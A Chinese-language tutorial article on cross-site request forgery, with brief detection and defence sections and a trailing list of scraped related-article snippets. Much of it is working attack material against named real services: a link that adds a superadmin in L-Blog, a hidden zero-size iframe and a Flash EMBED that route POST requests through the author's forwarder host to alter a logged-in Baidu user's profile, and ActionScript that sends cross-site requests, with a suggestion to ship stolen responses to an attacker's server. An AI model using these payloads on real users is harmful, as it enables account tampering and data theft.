CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意思,也就是在用户会话下对某个CGI做一些GET/POST的事情——这些事情用户未必知道和愿意做,你可以把它想做HTTP会话劫持。
网站是通过cookie来识别用户的,当用户成功进行身份验证之后浏览器就会得到一个标识其身份的cookie,只要不关闭浏览器或者退出登录,以后访问这个网站会带上这个cookie。如果这期间浏览器被人控制着请求了这个网站的url,可能就会执行一些用户不想做的功能(比如修改个人资料)。因为这个不是用户真正想发出的请求,这就是所谓的请求伪造;呵呵,因为这些请求也是可以从第三方网站提交的,所以前缀跨站二字。
举个简单的例子,某个bbs可以贴图,在贴图的URL中写入退出登陆的链接,当用户阅读这个帖子之后就会logout了,因为用户以自己的身份访问了退出登陆链接,在用户看来是帖子里面有一张有问题的“图片”,而不是想要退出,但程序就会认为是用户要求退出登陆而销毁其会话。这就是传说中的CSRF攻击了。
不要小看CSRF哦,记得以前L-Blog就存在一个CSRF漏洞(当时还不知道这个概念:p),它添加管理员是这样的一个链接:http://localhost/L-Blog/admincp.asp?action=member&type=editmem& amp;memID=2&memType=SupAdmin,我们只要构造好ID想办法让管理员访问到这个URL就可以了;还有Google那个 CSRF漏洞[1],将导致邮件泄漏;另外,不要以为只有XSS才能爆发蠕虫,只要条件合适,CSRF同样是有可能的。
0x02 威胁来自哪里
贴图只是GET的方式,很多时候我们需要伪造POST的请求。一个办法是利用跨站,当然目标站点可能不存在跨站,这个时候我们可以从第三方网站发动攻击。
比如我要攻击一个存在问题的blog,那就先去目标blog留言,留下一个网址,诱其主人点击过来(这个就要看你的忽悠本事咯:p),然后构造个HTML表单提交些数据过去。
多窗口浏览器就帮了一点忙。
多窗口浏览器(firefox、遨游、MyIE……)便捷的同时也带来了一些问题,因为多窗口浏览器新开的窗口是具有当前所有会话的。即我用IE登陆了我的Blog,然后我想看新闻了,又运行一个IE进程,这个时候两个IE窗口的会话是彼此独立的,从看新闻的IE发送请求到Blog不会有我登录的 cookie;但是多窗口浏览器永远都只有一个进程,各窗口的会话是通用的,即看新闻的窗口发请求到Blog是会带上我在blog登录的cookie。
想一想,当我们用鼠标在Blog/BBS/WebMail点击别人留下的链接的时候,说不定一场精心准备的CSRF攻击正等着我们。
0x03 发起CSRF攻击
从第三方站点利用POST发动CSRF攻击就是利用Javascript自动提交表单到目标CGI。每次都去写表单不是很方便,辅助进行的工具有XSS POST Forwarder[2]和CSRF Redirector[3],这里我也写了相应的ASP版本[4]。使用的时候只要把提交的url和参数传给它,它就会自动POST到目标。
比如我要提交一些数据到www.0x54.org/a.asp:http://www.0x54.org/lake2 /xss_post_forwarder.asp?lake2=http://www.0x54.org/a.asp&a=123& b=321&c=%26%23%25(这里要自己考虑URL编码哦)
不过实际攻击的时候你得动动脑子:如何才能把用户诱骗到我们的网页来。
0x04 一个实例
因为CSRF不如XSS那么引人注目,所以现在找一个存在CSRF的Web应用程序还是很容易的。这次我们的目标是百度,just for test。
随便你用什么办法,让一个已登陆百度的用户访问一下这个URL:http://www.0x54.org/lake2 /xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_site=%3B%3B
呵呵,然后看看那人个人资料是不是被修改了。这里有点郁闷,当那人访问URL后浏览器会返回到资料修改成功的页面,我们就被发现了。那么,有没有办法不让浏览器刷新呢?
有。
一个办法是用iframe,构造这样的HTML代码:<iframe width=0 height=0 src="http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_site=%3B%3B"></iframe>
还有一个办法就是用flash了。
0x05 CSRF With Flash
flash是可以提交数据到任意URL的,打开盗版的 Adobe flash CS 3 Professional,新建一个 flash文件(ActionScript 3.0) ,在默认的图层上点右键选动作,然后把以下代码添加进去:
:
import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://www.0x54.org/lake2");
var lake = new URLVariables();
lake = "a=lake2";
url.method = "POST";
url.data = lake;
sendToURL(url);
stop();
导出为swf文件,访问之,抓包看看效果咯:http://www.0x54.org/lake2/flash/test1.html
每次都去写as和编译swf很麻烦的,根据CSRF Redirector的思路我写了一个类似的flash程序[5],再拿百度来试试效果,访问带如下HTML的网页:<EMBED src="http://www.0x54.org/lake2/flash/flash_hacking.swf?f=1&t=http: //passport.baidu.com/ucommitbas&d=u_jump_url%3D %26sex%3D1%26email%3DCSRF@baidu.com%26sdv%3D %26zodiac%3D0%26birth_year%3D0%26birth_month%3D0%26birth_day%3D0%26blood%3D0%26bs0 %3D%25C7%25EB%25D1%25A1%25D4%25F1%26bs1%3D %25C7%25EB%25D1%25A1%25D4%25F1%26bs2%3D%25CE%25DE%26txt_bs%3D %26birth_site%3D%253B%253B%26b%253Drs0%3D %25C7%25EB%25D1%25A1%25D4%25F1%26rs1%3D %25C7%25EB%25D1%25A1%25D4%25F1%26rs2%3D%25CE%25DE%26txt_rs%3D %26reside_site%3D%253B%253B"></EMBED>(还是要注意URL二次编码)
这里不要只局限于发请求,其实flash是可以得到返回内容的,要是返回内容有敏感信息的话,就可以读出来发送到我们控制的Web去。当然,这个得看目标站点是否让flash跨域取内容了。
0x06 检测CSRF
检测CSRF漏洞都是体力活了,先抓取一个正常请求的数据包,然后去掉referer字段再重新提交,如果还是有效那基本上就存在问题了。当然参数可能含有不能预测的参数(比如userid什么的),这个时候就看这个不可预测的参数能不能通过其他手段比如flash拿到,如果能,呵呵,则还是存在问题。还有就是试着改post为get,因为有些程序是不区分get/post的。
应用程序的功能和返回形式都各不相同,所以想自动化测试CSRF漏洞还是有点困难的,OWASP上面有一个叫做CSRFTester的工具不妨拿来一试[6]
0x07 防御CSRF
在Web应用程序侧防御CSRF漏洞,一般都是利用referer、token或者验证码,Nexus的文章[7]已经写的很全面了;superhei也有提出bypass的思路[8],请参考他们的文章。
还有一个思路是在客户端防御,貌似可以做成一个类似HTTP Watch的软件,挂在浏览器上拦截或者过滤跨域的cookie。
0x08 总结
希望本文对您有帮助,同时也欢迎各位同我交流:lake2@mail.csdn.net
[ Reference ]
[1] Google GMail E-mail Hijack Technique, http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
[2] XSS POST Forwarder, http://whiteacid.org/misc/xss_post_forwarder.php
[3] CSRF Redirector, http://shiflett.org/blog/2007/jul/csrf-redirector
[4] ASP的XSS POST Forwarder下载(附送一个HTML版), http://www.0x54.org/lake2/xss_post_forwarder.zip
[5] 源代码和编译好的swf文件下载:http://www.0x54.org/lake2/flash/flash_hacking.rar
[6] CSRFTester, http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project
[7] Preventing CSRF, http://www.playhack.net/view.php?id=31. 汉化版, http://www.hanguofeng.cn/archives/security/preventing-csrf
[8] Bypass Preventing CSRF, http://www.xfocus.net/articles/200801/964.html
分享到:
相关推荐
### 浅谈CSRF攻击方式 #### 一、CSRF是什么? CSRF(Cross-Site Request Forgery,跨...总之,CSRF攻击是网络安全领域一个不容忽视的问题。通过深入了解其工作原理和采取有效的预防措施,可以显著降低被攻击的风险。
使用CSRF攻击破解
CSRF 攻击是一种非常危险的网络攻击方式,可能导致用户数据的泄露和经济损失。因此,防御 CSRF 攻击是非常重要的。通过验证 HTTP Referer 字段、在请求地址中添加 token 并验证、在 HTTP 头中自定义属性并验证等策略...
CSrf攻击-苏醒的巨人
CSRF攻击是Web应用安全中一个常见的问题, Referer头可以用来防御CSRF攻击,但是攻击者可以通过绕过Referer技巧来欺骗服务器。因此,Web开发者需要采取多种防御措施来防御CSRF攻击,例如验证Token、双重验证、验证码...
### CSRF攻击的应对之道 #### 一、CSRF攻击概述 **CSRF(Cross-Site Request Forgery,跨站请求伪造)**是一种网络攻击手段,它利用用户在浏览器中的认证状态,通过伪造用户请求的方式对目标网站进行非法操作。...
**什么是 CSRF 攻击?** CSRF 是一种恶意攻击方式,攻击者利用用户已登录的身份,诱使用户在不知情的情况下执行非预期的操作。攻击者通常通过构造一个带有恶意请求的链接或表单,当用户访问这个链接或者提交表单时...
CSRF 攻击是指攻击者诱骗用户点击恶意链接或提交恶意表单,从而达到恶意操作的目的。CSRF 攻击的危害非常大,曾经有多家大型网站和银行受到 CSRF 攻击。 在 ASP.NET MVC 中,防止 CSRF 攻击的方法主要有两种:在 ...
CSRF(跨站请求伪造)是一种常见的Web安全攻击,其特点是在用户已经通过身份验证的情况下,攻击者诱导用户执行某些操作,从而达到其非法目的。CSRF攻击通常通过用户的浏览器向含有CSRF漏洞的Web应用程序发起请求,...
在Web开发中,跨站请求伪造(Cross-Site Request Forgery,简称CSRF)是一种常见且危险的安全漏洞,它允许攻击者在用户已登录的上下文中执行非预期的操作。在基于JSP的Java Web项目中,了解如何防御CSRF攻击至关重要...
【正文】 信息安全技术是保障网络环境安全的重要领域,...总的来说,了解并防范CSRF攻击是保护用户数据安全的关键一步。无论是开发者还是普通用户,都需要对这种攻击方式有所警惕,采取适当的防护措施,确保信息安全。
CSRF防护:CSRF攻击案例分析.docx
下面,我们将深入探讨CSRF攻击的原理、常见攻击场景以及如何防范。 一、CSRF攻击原理 CSRF攻击的核心是攻击者诱使用户在不知情的情况下执行非预期的操作。通常,攻击者会创建一个恶意网站或发送包含恶意链接的电子...
CSRF防护:CSRF攻击机制与流程.docx
Spring Boot 中使用 Spring Security 防止 CSRF 攻击 CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。CSRF 攻击可以盗用用户的...
CSRF攻击是基于Web的安全威胁之一,当一个用户访问了恶意站点或者点击了一个恶意链接时,如果该用户在一个受信任的应用程序中已经进行了身份验证,那么恶意站点可以利用用户的认证信息(如cookies)来执行某些动作,...
**CSRF攻击技术详解** CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的网络攻击方式,它利用了用户的已登录状态,通过诱导用户点击恶意链接或访问恶意网站,来执行非用户意愿的操作。这种攻击通常...
**CSRF(跨站请求伪造)**是另一种常见的Web攻击,攻击者利用受害者在某个网站上的已登录状态,诱导受害者执行非授权操作。比如,当用户在银行网站上进行转账操作时,攻击者通过一封带有恶意链接的邮件或消息,诱使...
如何防御CSRF攻击.zip
跨站请求伪造攻击是指攻击者诱骗受信任用户访问恶意网站,从而使得恶意网站能以用户身份对受信任网站执行操作。为了防止这种攻击,Tomcat 提供了一个名为 CSRF Prevention Filter 的工具,该工具能够帮助开发者保护...